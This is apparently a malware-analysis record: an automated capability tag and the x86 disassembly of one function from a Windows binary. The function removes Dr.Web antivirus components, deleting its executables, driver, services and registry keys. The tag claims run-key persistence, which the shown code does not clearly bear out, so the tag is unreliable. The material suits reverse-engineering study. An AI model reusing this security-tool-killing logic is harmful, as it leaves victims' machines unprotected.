Function at 0x411356
Capabilities:
Persist via run registry key

Disassembly:
push ebp
sub esp, 0x70
lea ebp, [esp - 4]
mov eax, dword [0x4566c8]
xor eax, ebp
mov dword [ebp + 0x70], eax
push 0x54
mov eax, 0x43db90
call fcn.004212a4
call fcn.00407829
push str.step_remove_spiderguard
push 0x445b14
call fcn.0040a84b
pop ecx
pop ecx
push 0x445b24
lea ecx, [ebp - 0x28]
call fcn.00405457
xor esi, esi
push 0x445b38
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], esi
call fcn.00405457
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
mov edi, reloc.OLEAUT32.dll_SysReAllocString
xor ebx, ebx
lea eax, [ebp + 0x54]
push edi
inc ebx
push eax
mov byte [ebp - 4], bl
call fcn.00409234
add esp, 0x10
push esi
push ebx
lea ecx, [ebp - 0x44]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call fcn.00403f19
cmp dword [ebp + 0x68], esi
je 0x411413
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp]
push eax
call fcn.0040afb5
pop ecx
pop ecx
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp + 0x54]
mov byte [ebp - 4], 5
call fcn.004046a3
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 4
call fcn.00403f19
push 0x445b8c
lea ecx, [ebp]
call fcn.00405457
push 0x445ba0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 6
call fcn.00405457
lea eax, [ebp]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp + 0x1c]
push edi
push eax
mov byte [ebp - 4], 7
call fcn.00409234
add esp, 0x10
push esi
push ebx
lea ecx, [ebp - 0x60]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0xa
call fcn.00403f19
cmp dword [ebp + 0x30], esi
je 0x411494
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040afb5
pop ecx
pop ecx
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 0xb
call fcn.004046a3
push esi
push ebx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xa
call fcn.00403f19
push 0x445bf8
lea ecx, [ebp - 0x44]
call fcn.00405457
push 0x445c20
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xc
call fcn.00405457
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x38]
push edi
push eax
mov byte [ebp - 4], 0xd
call fcn.00409234
add esp, 0x10
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x10
call fcn.00403f19
cmp dword [ebp + 0x4c], esi
je 0x411515
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
push eax
call fcn.0040afb5
pop ecx
pop ecx
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp + 0x38]
mov byte [ebp - 4], 0x11
call fcn.004046a3
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push 0x445c0c
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
call fcn.00408584
pop ecx
push esi
push ebx
lea ecx, [ebp]
call fcn.00403f19
push str.spidernt
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
call fcn.004086e3
pop ecx
push esi
push ebx
lea ecx, [ebp]
call fcn.00403f19
push str.spider
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
call fcn.004086e3
pop ecx
push esi
push ebx
lea ecx, [ebp]
call fcn.00403f19
push str.drwebnet
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
call fcn.004086e3
pop ecx
push esi
push ebx
lea ecx, [ebp]
call fcn.00403f19
push 0x445cb0
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x12
call fcn.00410905
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push 0x445ccc
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x13
call fcn.00410905
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push 0x445ce8
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x14
call fcn.00410905
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
cmp dword [ebp + 0x68], esi
je 0x41162c
cmp dword [ebp + 0x6c], 8
mov eax, dword [ebp + 0x58]
jae 0x411625
lea eax, [ebp + 0x58]
push eax
call fcn.0040b15d
pop ecx
cmp dword [ebp + 0x30], esi
je 0x411644
cmp dword [ebp + 0x34], 8
mov eax, dword [ebp + 0x20]
jae 0x41163d
lea eax, [ebp + 0x20]
push eax
call fcn.0040b15d
pop ecx
cmp dword [ebp + 0x4c], esi
je 0x41165c
cmp dword [ebp + 0x50], 8
mov eax, dword [ebp + 0x3c]
jae 0x411655
lea eax, [ebp + 0x3c]
push eax
call fcn.0040b15d
pop ecx
push str.spiderui.exe
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x15
call fcn.0040b1ef
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.spidernt.exe
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x16
call fcn.0040b1ef
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.spidercpl.exe
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x17
call fcn.0040b1ef
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.spider.sys
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
mov byte [ebp - 4], 0x18
call fcn.0040b1ef
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetServices_spider
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x19
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetServices_spidernt
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x1a
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetServicesdrwebnet
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x1b
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetEnumRootLEGACY_SPIDERNT
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x1c
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetEnumRootLEGACY_SPIDER
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x1d
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetEnumRootLEGACY_DRWEBNET
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x1e
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push 0x445fb0
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x1f
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SOFTWAREIDAVLabSpIDer
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push SysReAllocString
mov byte [ebp - 4], 0x20
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SYSTEMCurrentControlSetServicesEventlogApplication_spidernt
lea ecx, [ebp]
call fcn.00405457
lea eax, [ebp]
push eax
push edi
mov byte [ebp - 4], 0x21
call fcn.0040f3a1
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp]
mov byte [ebp - 4], 0x10
call fcn.00403f19
push str.SpIDerNT
lea ecx, [ebp - 0x60]
call fcn.00405457
push 0x4460a8
lea ecx, [ebp]
mov byte [ebp - 4], 0x22
call fcn.00405457
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp]
push eax
push edi
call fcn.004088a8
add esp, 0xc
push esi
push ebx
lea ecx, [ebp]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp - 0x60]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp + 0x38]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp + 0x1c]
call fcn.00403f19
push esi
push ebx
lea ecx, [ebp + 0x54]
call fcn.00403f19
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x70]
xor ecx, ebp
call fcn.0042090d
add ebp, 0x74
leave
ret